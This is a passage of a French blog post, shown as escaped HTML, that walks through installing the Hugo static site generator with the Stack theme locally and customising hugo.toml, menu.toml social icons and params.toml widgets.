pled&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ git init&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ git submodule add https://github.com/CaiJimmy/hugo-theme-stack themes/stack&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ echo &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;theme = &amp;#39;stack&amp;#39;&amp;#34;&lt;/span&gt; &amp;gt;&amp;gt; hugo.toml&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Voilà, il suffit maintenant de lancer hugo en tant que serveur en se plaçant dans le répertoire avec la commande &lt;code&gt;$ hugo server&lt;/code&gt;, pour obtenir immédiatement un site disponible localement, avec le thème stack, mais totalement vide :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ hugo server&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Watching &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; changes in /Hugo/pled/archetypes, /Hugo/pled/assets, /Hugo/pled/content, /Hugo/pled/data, /Hugo/pled/i18n, /Hugo/pled/layouts, /Hugo/pled/static, /Hugo/pled/themes/stack/archetypes, /Hugo/pled/themes/stack/assets/&lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt;icons,scss,ts&lt;span style=&#34;color:#f92672&#34;&gt;}&lt;/span&gt;, /Hugo/pled/themes/stack/data, ... and &lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt; more&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Watching &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; config changes in /Hugo/pled/hugo.toml, /Hugo/pled/themes/stack/config/_default&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Start building sites …&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;hugo v0.163.3+extended+withdeploy linux/amd64 BuildDate&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;unknown&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                  │ EN&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;──────────────────┼────&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; Pages            │  &lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; Paginator pages  │  &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; Non-page files   │  &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; Static files     │  &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; Processed images │  &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; Aliases          │  &lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; Cleaned          │  &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Built in &lt;span style=&#34;color:#ae81ff&#34;&gt;24&lt;/span&gt; ms&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Environment: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;development&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Serving pages from disk&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Running in Fast Render Mode. For full rebuilds on change: hugo server --disableFastRender&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Web Server is available at http://localhost:1313/ &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;bind address 127.0.0.1&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Press Ctrl+C to stop&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Il ne reste plus qu&amp;rsquo;à se rendre sur l&amp;rsquo;adresse indiquée : &lt;a class=&#34;link&#34; href=&#34;http://localhost:1313&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;http://localhost:1313&lt;/a&gt; :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;501px&#34; data-flex-grow=&#34;208&#34; height=&#34;304&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/hugo-avec-theme-stack-installation-en-local/Capture-decran-du-2026-07-05-16-56-33.png&#34; width=&#34;635&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;On ne peut pas dire que ce soit compliqué ! Par contre, ça manque de contenu ! :oops:&lt;/p&gt;&#xA;&lt;h3 id=&#34;contenu&#34;&gt;Contenu&#xA;&lt;/h3&gt;&lt;p&gt;Il y a un dossier &amp;ldquo;Demo&amp;rdquo; dans le thème ( &lt;code&gt;themes/stack/demo&lt;/code&gt;). On peut le visualiser en lançant le script &lt;code&gt;run.sh&lt;/code&gt; qui se trouve dans ce dossier, mais le fichier README.md précise :&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;This is an example site used for solely for testing purposes. &lt;strong&gt;It is not meant to be used as a template for your site&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Cela vaut le coup de le lancer et de voir le résultat, pour avoir une idée de ce que à quoi peut ressembler le thème. Quitte à tout effacer ensuite et repartir d&amp;rsquo;un site propre. C&amp;rsquo;est aussi un bon point de départ pour le transformer et le personnaliser ensuite. À moins de préférer partir de rien et de tout faire soi-même en suivant la &lt;a class=&#34;link&#34; href=&#34;https://stack.cai.im/guide/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;documentation du thème&lt;/a&gt;. À chacun de choisir !&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;ai choisi une solution intermédiaire : j&amp;rsquo;ai installé la démo, regardé ce que l&amp;rsquo;on peut faire, puis suis reparti d&amp;rsquo;un site vide, en m&amp;rsquo;inspirant des fichiers du dossier demo au fur et à mesure de ce que je voulais faire, et en les personnalisant à chaque fois.&lt;/p&gt;&#xA;&lt;p&gt;D&amp;rsquo;ailleurs, il faudra toujours penser à faire les modifications à la racine du site, en récréant l&amp;rsquo;arborescence du fichier, afin d&amp;rsquo;éviter tout perdre lors d&amp;rsquo;une mise à jour du thème. Par exemple, on récupère le fichier &lt;code&gt;Hugo/pled/themes/stack/demo/config/_default/menu.toml&lt;/code&gt; et on le copie dans &lt;code&gt;Hugo/pled/config/_default/menu.toml&lt;/code&gt;. Si les dossiers n&amp;rsquo;existent pas, il suffit de les créer pour avoir la même arborescence. Car si j&amp;rsquo;ai bien compris, Hugo regarde toujours d&amp;rsquo;abord à la racine du site, et seulement ensuite dans le dossier du thème.&lt;/p&gt;&#xA;&lt;p&gt;Le plus simple pour l&amp;rsquo;instant est de copier tout le dossier &lt;code&gt;themes/stack/demo&lt;/code&gt;/ &lt;code&gt;content/&lt;/code&gt; dans &lt;code&gt;pled/content&lt;/code&gt;, soit les dossiers &lt;code&gt;categories&lt;/code&gt;, &lt;code&gt;page&lt;/code&gt; et &lt;code&gt;post&lt;/code&gt;, à l&amp;rsquo;exception des fichiers &lt;code&gt;_index.ja.md&lt;/code&gt;, &lt;code&gt;_index.zh.md&lt;/code&gt; et &lt;code&gt;_index.zh-hant-tw.md&lt;/code&gt; qui sont destinés au langues asiatiques, et donc inutiles (au moins dans mon cas).&lt;/p&gt;&#xA;&lt;p&gt;Les articles vont immédiatement apparaître dans le navigateur, ainsi qu&amp;rsquo;un menu dans la colonne de gauche :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;302px&#34; data-flex-grow=&#34;125&#34; height=&#34;936&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/hugo-avec-theme-stack-installation-en-local/Capture-decran-du-2026-07-15-15-49-15.png&#34; srcset=&#34;https://pled.fr/hugo-avec-theme-stack-installation-en-local/Capture-decran-du-2026-07-15-15-49-15_hu_312dc4eaed7082a9.png 800w, https://pled.fr/hugo-avec-theme-stack-installation-en-local/Capture-decran-du-2026-07-15-15-49-15.png 1178w&#34; width=&#34;1178&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Le menu à gauche, ce sont en fait les pages définies dans le dossier &lt;code&gt;pages&lt;/code&gt; que l&amp;rsquo;on vient de copier :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;622px&#34; data-flex-grow=&#34;259&#34; height=&#34;197&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/hugo-avec-theme-stack-installation-en-local/pages.png&#34; width=&#34;511&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Il est donc très facile de les franciser en éditant le fichier &lt;code&gt; index.md&lt;/code&gt; de chaque dossier.&lt;/p&gt;&#xA;&lt;h3 id=&#34;apparence&#34;&gt;Apparence&#xA;&lt;/h3&gt;&lt;p&gt;Il s&amp;rsquo;agit maintenant personnaliser le thème, et pour cela il va falloir modifier essentiellement les trois fichiers suivants : &lt;code&gt;hugo.toml&lt;/code&gt; à la racine du site, puis dans &lt;code&gt;themes/stack/config/_default/&lt;/code&gt; : &lt;code&gt;menu.toml&lt;/code&gt; et &lt;code&gt;params.toml&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;h4 id=&#34;fichier-hugotoml&#34;&gt;Fichier hugo.toml&#xA;&lt;/h4&gt;&lt;p&gt;Le premier fichier à aller mettre à jour est le fichier &lt;code&gt;hugo.toml&lt;/code&gt;, à la racine du site. Son contenu par défaut est le suivant :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;baseURL &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;https://example.org/&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;locale &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;en-us&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;title &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;My New Hugo Project&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;theme &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;stack&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Que l&amp;rsquo;on peut vite transformer en :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;baseURL &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;https://myhugo.pled.fr/&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;locale &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;fr&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;title &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Pascal&amp;#39;s weblog&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;theme &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;stack&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;&#xA;&lt;li&gt;Le param &lt;code&gt;baseURL&lt;/code&gt; doit représenter l&amp;rsquo;URL réelle de votre site quand il sera en ligne (ce sera nécessaire quand le site statique sera copié à cette adresse).&lt;/li&gt;&#xA;&lt;li&gt;Le paramètre &lt;code&gt;theme&lt;/code&gt; a été mis à jour quand on a installé le thème stack.&lt;/li&gt;&#xA;&lt;li&gt;J&amp;rsquo;ai utilisé un double guillemet pour encadrer le param &lt;code&gt;title&lt;/code&gt;, puisque j&amp;rsquo;ai un simple guillemet dans le titre de mon blog.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h4 id=&#34;fichier-menutoml&#34;&gt;Fichier menu.toml&#xA;&lt;/h4&gt;&lt;p&gt;Le fichier &lt;code&gt;menu.toml&lt;/code&gt; va permettre d&amp;rsquo;ajouter les icônes des réseaux sociaux que vous voulez afficher. Dans un premier temps, je décide d&amp;rsquo;afficher une icône pour Github, Mail et Mastodon. On va d&amp;rsquo;abord récupérer le fichier &lt;code&gt;Hugo/pled/themes/stack/demo/config/_default/menu.toml&lt;/code&gt; et le copier dans &lt;code&gt;Hugo/pled/config/_default/menu.toml&lt;/code&gt; (créer les dossiers manquants).&lt;/p&gt;&#xA;&lt;p&gt;Mais si l&amp;rsquo;icône Github est bien présente dans le thème par défaut, ce n&amp;rsquo;est pas le cas pour le Mail et Mastodon. Il va donc falloir créer ces icônes.&lt;/p&gt;&#xA;&lt;h5 id=&#34;icônes&#34;&gt;Icônes&#xA;&lt;/h5&gt;&lt;p&gt;Je suis allé sur le site &lt;a class=&#34;link&#34; href=&#34;https://tablericons.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://tablericons.com/&lt;/a&gt; pour chercher les icônes manquantes. Une fois la bonne icône trouvée, on édite le code du fichier &lt;code&gt;.svg&lt;/code&gt; correspondant (c&amp;rsquo;est un fichier texte). J&amp;rsquo;ai créé ainsi un fichier &lt;code&gt;mail.svg&lt;/code&gt; et un autre &lt;code&gt;brand-mastodon.svg&lt;/code&gt;. Et on l&amp;rsquo;adapte le dessin au thème en allant voir le code de l&amp;rsquo;icône github par exemple (dans &lt;code&gt;themes/stack/assets/icons&lt;/code&gt;), pour notamment la couleur, l&amp;rsquo;épaisseur du trait, etc&amp;hellip; afin d&amp;rsquo;avoir des icônes avec le même style. Ce sont les infos au début du fichier &lt;code&gt;.svg&lt;/code&gt; qui définissent tout ça :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;svg&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  xmlns&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;http://www.w3.org/2000/svg&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  width&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;24&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  height&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;24&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  viewBox&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0 0 24 24&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  fill&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;none&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  stroke&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;currentColor&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  stroke-width&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;2&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  stroke-linecap&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;round&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  stroke-linejoin&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;round&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;La suite du fichier &lt;code&gt;.svg&lt;/code&gt;, représentent les données numériques qui vont dessiner l&amp;rsquo;icône, donc on n&amp;rsquo;y touche pas.&lt;/p&gt;&#xA;&lt;p&gt;Une fois les icônes requises créées et copiées dans le dossier &lt;code&gt;themes/stack/assets/icons&lt;/code&gt;, on peut modifier le contenu du fichier &lt;code&gt;menu.toml&lt;/code&gt; comme ceci :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[[&lt;/span&gt;social&lt;span style=&#34;color:#f92672&#34;&gt;]]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    identifier &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;mail&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    name       &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Mail&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    url        &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;mailto:myname@myprovider.com&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;social.params&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        icon &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;mail&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[[&lt;/span&gt;social&lt;span style=&#34;color:#f92672&#34;&gt;]]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    identifier &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;github&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    name       &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;GitHub&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    url        &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;https://github.com/myname/&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;social.params&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        icon &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;brand-github&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[[&lt;/span&gt;social&lt;span style=&#34;color:#f92672&#34;&gt;]]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    identifier &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;mastodon&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    name       &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Mastodon&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    url        &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;https://mastodon.fr/@myname&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;social.params&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        icon &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;brand-mastodon&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Et les icônes souhaitées apparaissent dans le menu de gauche :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;408px&#34; data-flex-grow=&#34;170&#34; height=&#34;175&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/hugo-avec-theme-stack-installation-en-local/social-2.png&#34; width=&#34;298&#34;&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;fichier-paramstoml&#34;&gt;Fichier params.toml&#xA;&lt;/h4&gt;&lt;p&gt;Celui-ci contient plus d&amp;rsquo;infos et va permettre de continuer à personnaliser le thème.&lt;/p&gt;&#xA;&lt;h5 id=&#34;widgets&#34;&gt;Widgets&#xA;&lt;/h5&gt;&lt;p&gt;Et on commence par le menu de droite, proposé par le thème. Ce sont les &amp;ldquo;widgets&amp;rdquo;, et ils s&amp;rsquo;activent dans ce fichier &lt;code&gt;params.toml&lt;/code&gt;, que l&amp;rsquo;on modifie donc comme suit :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;widgets&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    homepage &lt;span 